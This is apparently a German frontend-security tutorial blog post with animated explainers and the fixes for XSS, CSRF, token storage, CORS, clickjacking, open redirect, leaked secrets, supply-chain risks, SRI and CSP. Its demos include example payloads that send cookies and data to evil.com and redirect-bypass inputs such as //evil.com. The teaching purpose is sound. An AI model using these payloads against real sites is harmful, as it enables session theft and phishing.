Engineering & Insights • October 6, 2026

Frontend-Sicherheit verstehen: Häufige Angriffe und ihre Abwehr, erklärt mit Animationen

Frontend-Sicherheit verstehen: Häufige Angriffe und ihre Abwehr, erklärt mit Animationen

Frontend-Sicherheit verstehen: Häufige Angriffe und ihre Abwehr, erklärt mit Animationen

Viele Frontend-Entwickler halten Sicherheit für „Sache des Backends”. In der Praxis passieren die meisten Angriffe aber im Browser: Ein bösartiges Skript läuft im Tab des Nutzers, der Browser schickt Cookies von sich aus mit, oder ein API-Schlüssel landet im Bundle und wird an jeden Besucher ausgeliefert.

Das hier sind meine Lernnotizen zur Frontend-Sicherheit. Ich habe die häufigsten Probleme als interaktive Animationen umgesetzt, und alle folgen derselben Struktur:

  1. Fünf Schritte: Schritt für Schritt sehen, wie der Angriff abläuft, mit einer „Hacker-Sicht” pro Schritt, die erklärt, was der Angreifer gerade denkt.
  2. Grundursache: warum das überhaupt möglich ist.
  3. Die richtige Lösung: Code, den man tatsächlich einsetzen kann.

Starte mit diesem kleinen Pixel-Abenteuer: „Abenteuer starten” spielt alle Stages von vorn bis hinten ab, oder du springst unten direkt zu einer Stage. Jede Stage verlinkt ihre ganze Animation. (Die ganzen Animationen sind auf traditionellem Chinesisch; dieser Beitrag behandelt dieselben Inhalte auf Deutsch.)

SECURITY QUEST
Frontend-Sicherheit · ein Pixel-Art-Erklärstück
SECURITY
QUEST
Ein Frontend-Sicherheitsabenteuer
0:00 / 5:20
STARTTitelbild
Begleite den kleinen Helden durch vier Welten. In jeder Stage siehst du, wie der Angriff Schritt für Schritt gelingt, und dann, wo die Abwehr ihn stoppt. Drück „Abenteuer starten", wenn du bereit bist!
ATKAngriffDEFAbwehrDaten
Die Zeiten auf der Zeitleiste sind Abspielzeit, nicht die Dauer eines echten Angriffs.

So liest du diesen Beitrag: Jedes Thema hat einen Angriffsablauf, der von selbst abspielt. Danach den Schalter „🛡 Abwehr an” umlegen und sehen, an welcher Stelle der Angriff gestoppt wird. Sieben Themen haben zusätzlich ein Labor zum Ausprobieren, am Ende warten eine interaktive Checkliste und ein Quiz.


Zuerst ein Denkmodell: vier Arten von Problemen

Diese Probleme wirken verstreut, lassen sich aber auf vier Grundursachen zurückführen. Wer diese vier kennt, kann auch neue Schwachstellen leichter einordnen.

KategorieKernideeThemen
A. Injection und AusführungDer Browser kann „Daten” nicht von „Code” unterscheiden01 XSS, 03 Token-Speicherung, 14 CSP
B. Missbrauchtes Browser-VerhaltenDer Browser hängt „hilfsbereit” Cookies an, bettet Seiten ein und folgt Weiterleitungen02 CSRF, 11 CORS, 12 Clickjacking, 13 Open Redirect
C. Vertrauensgrenze an der falschen StelleAlles, was an den Browser geht, ist öffentlich, und jede Prüfung im Frontend lässt sich umgehen04 Autorisierung nur im Frontend, 07 Hartcodierte Secrets, 08 Console-Logs, 09 Source Maps
D. Lieferkette und TransportCode, dem man vertraut, kann ausgetauscht werden, bevor er beim Nutzer ankommt05 Supply Chain, 06 CDN-SRI, 10 Mixed Content

In einem Satz: Vertraue nichts, was vom Client kommt, und gib dem Client keine Geheimnisse.


A. Injection und Ausführung

01 XSS (Cross-Site Scripting)

Ein Kommentarfeld filtert die Eingabe nicht, und bösartiger Code läuft in den Browsern anderer Nutzer.

STAGE 01Angriffsablauf
Angreifer
Kommentar-Server
Opfer
Angreifer-Server
Schritt 1/5
Der Angreifer schickt einen Kommentar mit einem <script> ab.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Der Server gibt Nutzereingaben unverändert als HTML aus, und der Browser kann „Inhalt” nicht von „Code” unterscheiden.

Die Lösung

function escapeHtml(str) {
  return str.replace(/[&<>"']/g, (c) => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;',
  }[c]));
}
res.send('<div>' + escapeHtml(comment) + '</div>');

Ergänzungen:

  • Es gibt drei Arten von XSS: Stored (in der Datenbank gespeichert), Reflected (in einem URL-Parameter versteckt) und DOM-based (das Frontend-JS schreibt Daten selbst in innerHTML).
  • React und Vue escapen {value}-Bindings standardmäßig. Gefährlich sind dangerouslySetInnerHTML, v-html, innerHTML und <a href={userInput}> (URLs, die mit javascript: beginnen, werden trotzdem ausgeführt).
  • Wenn wirklich nutzergeneriertes HTML angezeigt werden muss (z. B. aus einem Rich-Text-Editor), mit einer Bibliothek wie DOMPurify bereinigen. Keine eigenen Regex schreiben.
★ Ausprobieren
XSS-Simulator fürs Kommentarfeld
Gib einen Kommentar ein und wechsle zwischen den zwei Ausgabearten. Hier wird nur analysiert, nichts ausgeführt.
Probier diese:
60 / 400
HTML, das der Browser bekommt
<div class="comment"><img src=x onerror="fetch('//evil.com?c='+document.cookie)"></div>

Dasselbe bösartige Skript, völlig unterschiedliche Ergebnisse, je nachdem wo der Token liegt.

STAGE 03Angriffsablauf
Bösartiges Skript
Browser-Speicher
Angreifer-Server
Schritt 1/5
Ein bösartiges Skript wird in die Seite eingeschleust.
▶ Ganze Animation (mit Hacker-Sicht) →

Die ganze Animation ist ein direkter Vergleich. Bei derselben XSS-Lücke wird ein Token in localStorage mit einem einzigen localStorage.getItem('token') ausgelesen. Ein Token in einem httpOnly-Cookie ist für JavaScript überhaupt nicht lesbar.

Grundursache: localStorage steht jedem Skript auf der Seite offen. Eine einzige XSS-Lücke, und der Token ist weg.

Die Lösung

res.cookie('token', jwt, {
  httpOnly: true,    // für JS nicht lesbar
  secure: true,      // nur über HTTPS
  sameSite: 'strict' // nicht bei Cross-Site-Requests mitsenden (hilft auch gegen CSRF)
});

Ergänzung: httpOnly begrenzt den Schaden, verhindert aber kein XSS. Das Skript kann den Token nicht stehlen, aber während es läuft, trotzdem Requests im Namen des Nutzers senden. Deshalb gehört es immer zusammen mit XSS-Schutz und CSP. Und wer auf Cookies umsteigt, muss an CSRF denken (siehe 02).

★ Ausprobieren
Token-Diebstahl-Simulator
Wähle, wo der Token liegt, und führe das eingeschleuste Skript aus.
ElementsConsoleApplication
> _

14 CSP (Content Security Policy)

CSP ist die wirksamste zweite Verteidigungslinie gegen XSS, und viele Projekte setzen sie gar nicht.

STAGE 14Angriffsablauf
Eingeschleustes Skript
Browser
evil.com
Schritt 1/5
Irgendwo fehlt Escaping, ein Skript rutscht durch.
▶ Ganze Animation (mit Hacker-Sicht) →

Selbst wenn irgendwo das Escaping fehlt und ein bösartiges Skript auf die Seite gelangt, sagt CSP dem Browser: „Führe nur die Skripte aus, die ich erlaube, und verbinde dich nur mit den Domains, die ich erlaube.” Ohne CSP schränkt der Browser nicht ein, wohin Skripte Daten senden dürfen.

Die Lösung

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0mBase64'

Ergänzungen:

  • Für jede Response eine neue zufällige nonce erzeugen und an legitime <script nonce="...">-Tags hängen. Eingeschleuste Skripte haben keine Nonce und werden nicht ausgeführt.
  • 'unsafe-inline' und 'unsafe-eval' vermeiden. Damit steht die Tür halb offen.
  • Vor dem Livegang eine Weile als Content-Security-Policy-Report-Only laufen lassen, um sicherzugehen, dass keine echten Funktionen blockiert werden.
  • connect-src beschränkt, wohin fetch sich verbinden darf. Selbst wenn ein Skript läuft, kommt es so kaum an Daten heraus.
★ Ausprobieren
CSP-Umschalter
Die Seite hat zwei eigene Skripte und vier vom Angreifer eingeschleuste Dinge. Schalte die CSP um.
Content-Security-Policy: —
  • deins<script src="/app.js">▶ läuft
  • deins<script nonce="r4nd0m">init()</script>▶ läuft
  • Angreifer<script>steal()</script>▶ läuft
  • Angreifer<img src=x onerror="steal()">▶ läuft
  • Angreifer<script src="https://cdn.evil.com/x.js">▶ läuft
  • Angreiferfetch('https://evil.com/c?d=' + data)▶ läuft
✗ Keine CSP: Alles Eingeschleuste läuft, Daten fließen frei ab.

B. Missbrauchtes Browser-Verhalten

02 CSRF (Cross-Site Request Forgery)

Anmeldedaten, die der Browser automatisch mitschickt, werden von einer anderen Seite für gefälschte Requests genutzt.

STAGE 02Angriffsablauf
Browser des Nutzers
Bösartige Seite
Bank bank.com
Schritt 1/5
Der Nutzer meldet sich bei der Bank an, der Browser speichert ein Session-Cookie.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Der Server prüft nur „Gibt es ein Session-Cookie?”, aber nicht, ob der Nutzer den Request tatsächlich auf der Seite der Bank ausgelöst hat.

Die Lösung

// SameSite am Cookie setzen
res.cookie('session', token, { httpOnly: true, sameSite: 'strict', secure: true });

// Für kritische Aktionen zusätzlich einen zufälligen Token prüfen
app.post('/transfer', (req, res) => {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF-Token stimmt nicht');
  }
  doTransfer(req.body);
});

Ergänzung: Moderne Browser verwenden standardmäßig SameSite=Lax, wenn nichts gesetzt ist. Das blockiert die meisten Cross-Site-POSTs. GET-Requests mit Seiteneffekten (z. B. GET /delete?id=1) sind aber weiterhin angreifbar. Die Regel: Nichts, was Daten ändert, über GET abwickeln, und auf dem Server den Origin-Header prüfen.

11 Zu großzügiges CORS

Access-Control-Allow-Origin: * öffnet jeder Website die Tür.

STAGE 11Angriffsablauf
Browser des Nutzers
Bösartige Seite
Deine API
Schritt 1/5
Der Nutzer ist auf deiner Seite angemeldet.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: CORS dient dazu, die Same-Origin-Policy zu lockern. Ist es zu locker konfiguriert, kann jede Seite deine API im Namen des Nutzers auslesen.

Die Lösung: eine Allowlist statt einer Wildcard.

const allowedOrigins = ['https://yourapp.com', 'https://admin.yourapp.com'];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) callback(null, true);
    else callback(new Error('Origin nicht erlaubt'));
  },
  credentials: true,
}));

Ergänzung (die Animation vereinfacht hier): Browser lehnen Allow-Origin: * in Kombination mit Allow-Credentials: true tatsächlich ab; diese Kombination wird direkt blockiert. Was in der Praxis wirklich zu Vorfällen führt, ist das unveränderte Zurückspiegeln des Origin-Headers zusammen mit credentials: true. Das wirkt wie eine Wildcard, und der Browser blockiert es nicht. Außerdem Vorsicht beim Erlauben des null-Origins und bei Prüfungen wie endsWith('yourapp.com'), die evil-yourapp.com bestehen würde.

★ Ausprobieren
CORS-Prüfstand
Jeder Request trägt das Cookie des Nutzers (credentials: 'include'). Ändere Serverkonfiguration und aufrufende Seite.
Serverkonfiguration
Aufrufende Seite
→ Request
GET /api/me
Origin: https://evil.com
Cookie: session=abc123
← API-Response-Header
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
✗ Datenleck: Der Origin passt exakt und Credentials sind erlaubt, also bekommt diese Seite die privaten Daten.

12 Clickjacking

Der Button, den du siehst, und der Button, den du tatsächlich klickst, sind vielleicht nicht derselbe.

STAGE 12Angriffsablauf
Nutzer
Köderseite
Unsichtbares iframe: bank.com
Schritt 1/5
Der Angreifer baut eine „Prämie sichern"-Seite.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Die Seite schränkt nicht ein, ob andere Seiten sie per iframe einbetten dürfen.

Die Lösung

Content-Security-Policy: frame-ancestors 'none'
X-Frame-Options: DENY

Ergänzung: frame-ancestors ist der moderne Standard, X-Frame-Options der Fallback für ältere Browser; beide zu setzen ist am sichersten. frame-ancestors funktioniert nur als HTTP-Header; in einem <meta>-Tag hat es keine Wirkung.

★ Ausprobieren
Clickjacking: Was hast du geklickt?
Klick wie gewohnt auf „Jetzt sichern", dann zieh den Regler und mach das unsichtbare iframe sichtbar.
🎉 Glückwunsch! Du hast Kopfhörer gewonnen
Jetzt sichern 🎁
🏦 bank.com · Überweisung bestätigen
An: attacker Betrag: 5.000 €

13 Open Redirect

Erst auf der echten Seite landen und Vertrauen aufbauen, dann unbemerkt woandershin geleitet werden.

STAGE 13Angriffsablauf
Nutzer
real-bank.com
evil-fake-bank.com
Schritt 1/5
Eine Mail verlinkt auf das echte real-bank.com.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Das Weiterleitungsziel vertraut einem vom Nutzer übergebenen Parameter vollständig.

Die Lösung: nur Pfade aus einer Allowlist zulassen.

const allowedPaths = ['/dashboard', '/profile', '/settings'];

app.get('/login', (req, res) => {
  const target = req.query.redirect;
  if (allowedPaths.includes(target)) return res.redirect(target);
  return res.redirect('/dashboard'); // alles Unbekannte geht zur Standardseite
});

Ergänzung: Ist keine Allowlist möglich, zumindest mit new URL(target, location.origin) parsen und den origin vergleichen. Nur zu prüfen, „beginnt es mit /”, reicht nicht: Browser behandeln sowohl //evil.com als auch /\evil.com als externe URLs.

★ Ausprobieren
Weiterleitungs-Prüfer
Gib einen ?redirect=-Wert ein, wähle die Prüfung und sieh, wo der Nutzer landet.
Probier diese:
…/login?redirect=
Serverprüfung
//evil-fake-bank.com besteht die Prüfung
Der Browser landet bei
https://evil-fake-bank.com/
✗ Der Nutzer verlässt die echte Seite, eine gefälschte Anmeldung wartet.
Siehst du? Es beginnt mit /, ist aber extern. Browser werten // und /\ als „anderer Host".

C. Vertrauensgrenze an der falschen Stelle

04 Autorisierung nur im Frontend geprüft

Einen Button zu verstecken, macht nichts sicher.

STAGE 04Angriffsablauf
Normaler Nutzer
Frontend-UI
API-Backend
Schritt 1/5
Das Frontend erkennt keinen Admin und blendet „Nutzer löschen" aus.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Die Berechtigungsprüfung existiert nur im Frontend, und das Backend vertraut jedem Request.

Die Lösung

app.delete('/api/users/:id', requireAuth, (req, res) => {
  if (req.user.role !== 'admin') return res.status(403).send('Keine Berechtigung');
  deleteUser(req.params.id);
});

Ergänzung: Neben „Bist du Admin?” auch prüfen: „Gehört dieser Datensatz dir?“. Wer nur den Login und nicht die Eigentümerschaft prüft, zeigt fremde Daten an, sobald jemand die ID in der URL ändert. Das nennt sich IDOR (Insecure Direct Object Reference) und ist die häufigste Form von „Broken Access Control”, Platz eins der OWASP Top 10. Berechtigungsprüfungen im Frontend dienen nur der Nutzerfreundlichkeit.

07 Secrets hartcodiert im Frontend-Code

Alles, was an den Browser geht, kann jeder haben.

STAGE 07Angriffsablauf
Entwickler
Ausgeliefertes JS-Bundle
Jeder Besucher
Kostenpflichtige API
Schritt 1/5
Der Entwickler schreibt den API-Schlüssel in den Frontend-Code.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Frontend-Code wird vollständig an den Browser ausgeliefert, also ist jeder String darin faktisch öffentlich.

Die Lösung: Das Frontend ruft dein eigenes Backend auf, und der Schlüssel bleibt in einer Umgebungsvariable auf dem Server.

// ✅ Frontend
fetch('/api/ask');

// ✅ Backend
app.get('/api/ask', async (req, res) => {
  const r = await fetch('https://api.openai.com/v1/...', {
    headers: { Authorization: `Bearer ${process.env.OPENAI_KEY}` },
  });
  res.json(await r.json());
});

Ergänzungen:

  • Umgebungsvariablen mit dem Präfix VITE_, NEXT_PUBLIC_ oder PUBLIC_ landen im Frontend-Bundle und dürfen nie Secrets enthalten.
  • Manche Schlüssel sind bewusst öffentlich (Stripe Publishable Key, Firebase-Config). Ihre Sicherheit beruht auf Backend-Regeln und Domain-Einschränkungen.
  • Ist ein Schlüssel einmal geleakt, hilft Löschen aus dem Code nicht, denn er steht noch in der Git-Historie. Sofort widerrufen und neu ausstellen.

08 Sensible Daten in Console-Logs

Ein vergessenes Debug-Log wird in Produktion zum öffentlichen Datenfenster.

STAGE 08Angriffsablauf
Entwickler
Produktivseite
Jeder Besucher
Schritt 1/5
Beim Debuggen kommt console.log(userData) dazu.
▶ Ganze Animation (mit Hacker-Sicht) →

Ein console.log('user data:', userData) aus der Entwicklung bleibt drin und wird ausgeliefert. Wer die Console öffnet, sieht persönliche Daten, Rollen und interne Notizen und kann daraus die Datenstruktur des Backends ableiten, als Hinweis für den nächsten Angriff.

Grundursache: Debug-Ausgaben passen sich nicht an die Umgebung an.

Die Lösung: beim Build automatisch entfernen.

// webpack (Terser)
optimization: {
  minimizer: [new TerserPlugin({
    terserOptions: { compress: { drop_console: true } },
  })],
}

// Vite (esbuild)
export default defineConfig({
  esbuild: { drop: ['console', 'debugger'] },
});

Ergänzung: Besser als nachträgliches Entfernen ist ein Logger mit Log-Leveln (Debug-Ausgaben nur in der Entwicklung) plus die ESLint-Regel no-console, die es schon vor dem Code-Review abfängt.

09 Source Maps legen den Originalcode offen

Der Code sieht minifiziert und verschleiert aus, aber eine einzige .map-Datei stellt ihn komplett wieder her.

STAGE 09Angriffsablauf
Build-Tool
Produktivserver
Angreifer
Schritt 1/5
Der Code wird zu function a(b){return b.c+b.d} minifiziert.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Eine .map-Datei ist eine vollständige Zuordnungstabelle zwischen Original- und minifiziertem Code.

Die Lösung

// webpack
module.exports = {
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// Vite (false ist bereits der Standard)
export default defineConfig({ build: { sourcemap: false } });

Ergänzung: Wer in einem Error-Tracker wie Sentry die Originalzeilen braucht, erzeugt Source Maps mit 'hidden' (ohne Verweis im JS), lädt sie zum Error-Tracker hoch und löscht sie aus den deployten Dateien. Und nicht vergessen: Auch ohne Source Maps lässt sich Frontend-Code lesen. Sicherheit nicht darauf aufbauen, dass „es eh keiner versteht”.


D. Lieferkette und Transport

05 Supply-Chain-Angriffe über Drittanbieter-Pakete

Das Paket, dem du vertraust, hängt vielleicht von einem Paket ab, das du nicht kennst und das bereits kompromittiert ist.

STAGE 05Angriffsablauf
Angreifer
npm-Registry
Dein Projekt
Browser der Nutzer
Schritt 1/5
Der Angreifer übernimmt das Konto eines Maintainers einer tiefen Abhängigkeit.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Das Projekt vertraut der gesamten Abhängigkeitskette, kann aber nicht jedes Update jeder Ebene prüfen.

Die Lösung

# Exakt nach Lockfile installieren, keine automatischen Versionssprünge
npm ci

# Automatischer Scan in der CI
npm audit
# Oder GitHub Dependabot aktivieren (.github/dependabot.yml), der automatisch Fix-PRs öffnet

Ergänzung: Das Lockfile immer committen. Vor dem Hinzufügen eines Pakets Downloadzahlen, Wartungsstatus und Anzahl der Abhängigkeiten prüfen. npm install --ignore-scripts in Betracht ziehen, damit postinstall-Skripte nicht schon bei der Installation laufen. Echte Vorfälle wie event-stream (2018) und ua-parser-js (2021) folgten genau diesem Muster.

06 CDN-Ressourcen ohne SRI

Wird ein CDN kompromittiert und eine Datei ausgetauscht, ist SRI die letzte Verteidigungslinie.

STAGE 06Angriffsablauf
Angreifer
CDN
Deine Seite
Nutzer
Schritt 1/5
Das CDN wird kompromittiert, lib.js ausgetauscht.
▶ Ganze Animation (mit Hacker-Sicht) →

Die ganze Animation ist ein direkter Vergleich. Dieselbe Datei auf dem CDN wird ersetzt. Die Seite ohne integrity übernimmt sie einfach. Bei der Seite mit SRI erkennt der Browser, dass der Hash nicht passt, und verweigert die Ausführung.

Grundursache: Ohne das integrity-Attribut prüft der Browser den Inhalt der Datei nicht.

Die Lösung

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-..."
  crossorigin="anonymous">
</script>

Ergänzung: Den Hash erzeugt man so:

openssl dgst -sha384 -binary lib.js | openssl base64 -A

crossorigin="anonymous" ist Pflicht, sonst kann der Browser nicht prüfen. SRI funktioniert nur für Dateien mit fester Version. Für lib@latest oder Ressourcen, die je nach Browser unterschiedliche Inhalte liefern, klappt es nicht; dann ist es besser, die Datei herunterzuladen und selbst zu hosten.

★ Ausprobieren
SRI-Hash-Prüfung
Das ist lib.js auf einem CDN. Klick „CDN kompromittiert" oder ändere ein Zeichen und beobachte Hash und Browser.
lib.js auf dem CDN (editierbar)
integrity (beim Deploy berechnet)
…
Was der Browser jetzt berechnet
…

10 Kein erzwungenes HTTPS / Mixed Content

Die Seite selbst ist verschlüsselt, aber eine einzige unverschlüsselte Ressource kann abgefangen werden.

STAGE 10Angriffsablauf
Browser des Nutzers
WLAN-Lauscher
cdn.example.com
Schritt 1/5
Der Nutzer surft im Café-WLAN auf einer HTTPS-Seite.
▶ Ganze Animation (mit Hacker-Sicht) →

Grundursache: Geht auch nur eine Ressource über HTTP, wird genau diese Ressource völlig unverschlüsselt übertragen.

Die Lösung

Content-Security-Policy: upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains

Ergänzung: upgrade-insecure-requests stuft http://-Requests auf der Seite automatisch auf https:// hoch. Strict-Transport-Security (HSTS) sorgt dafür, dass sich der Browser „diese Seite nur über HTTPS” merkt, sodass selbst ein beim ersten Mal getipptes http:// über HTTPS geht. Moderne Browser blockieren gemischte Skripte direkt, aber die eigentliche Lösung bleibt, alle Ressourcen-URLs auf https:// umzustellen.


Zusammenfassung: alle Probleme in einer Tabelle

#ThemaGrundursacheErste Abwehrmaßnahme
01XSSEingabe wird als HTML ausgeführtBei der Ausgabe escapen, kein innerHTML
02CSRFBrowser hängt Cookies automatisch anSameSite + CSRF-Token
03Token-SpeicherunglocalStorage ist für JS offenhttpOnly-Cookie
04Frontend-AutorisierungBackend prüft keine BerechtigungenRolle und Eigentümerschaft bei jeder API prüfen
05Supply ChainAutomatisches Update auf kompromittierte Versionnpm ci + Lockfile + Dependabot
06CDN-SRIInhalt externer Dateien wird nicht geprüftintegrity + crossorigin
07Hartcodierte SecretsFrontend-Code ist öffentlichSchlüssel nur in Backend-Umgebungsvariablen
08Console-LogsDebug-Ausgaben landen in Produktiondrop_console beim Build
09Source Maps.map-Dateien werden mit deploytSource Maps in Produktion deaktivieren
10Mixed ContentEinzelne Ressourcen über HTTPupgrade-insecure-requests + HSTS
11CORSJeder Origin ist erlaubtOrigin-Allowlist
12ClickjackingSeite kann überall eingebettet werdenframe-ancestors 'none'
13Open RedirectVertrauen in eine vom Nutzer übergebene URLAllowlist für Weiterleitungspfade
14CSPBrowser schränkt Skriptquellen nicht einscript-src + Nonce

Checkliste vor dem Livegang

★ Ausprobieren
Checkliste vor dem Livegang
Hake die Punkte für ein eigenes Projekt ab. Gespeichert wird nur in deinem Browser.
HP
0 / 13 erledigt

Spickzettel: Security-Header

Die oben genannten Header an einem Ort. Die meisten lassen sich direkt in die Server- oder CDN-Konfiguration übernehmen:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; frame-ancestors 'none'; upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin

Danach mit securityheaders.com oder dem Mozilla Observatory prüfen.

Quiz

Fertig gelesen? Teste dich an sieben echten Szenarien: Erkennst du den Angriff an seinen Symptomen?

★ Ausprobieren
Quiz: Welcher Angriff ist das?
Lies das Szenario und wähle den passenden Angriff.
Frage 1 / 7
Jemand schreibt eine Bewertung mit <img src=x onerror=…>. Jeder, der die Seite öffnet, verliert sein Konto.

Fazit

Meine wichtigste Erkenntnis aus diesen Problemen: Frontend-Sicherheit ist kein Haufen unzusammenhängender Tricks, sondern ein paar Prinzipien, die immer wiederkehren.

  • Was der Nutzer hereinschickt, ist nicht vertrauenswürdig (XSS, Open Redirect, Frontend-Autorisierung).
  • Was an den Nutzer geht, ist öffentlich (Schlüssel, Console-Logs, Source Maps).
  • Die Komfortfunktionen des Browsers sind auch für Angreifer bequem (CSRF, CORS, Clickjacking).
  • Jede Ebene sollte davon ausgehen, dass die vorherige versagen kann (httpOnly, CSP und SRI sind alles Defense in Depth).

Wer das systematischer lernen möchte, startet am besten mit den OWASP Top 10 und MDN Web Security. Oder einfach zurück zur Animationsübersicht oben, eine auswählen und aus Sicht des Angreifers durchspielen.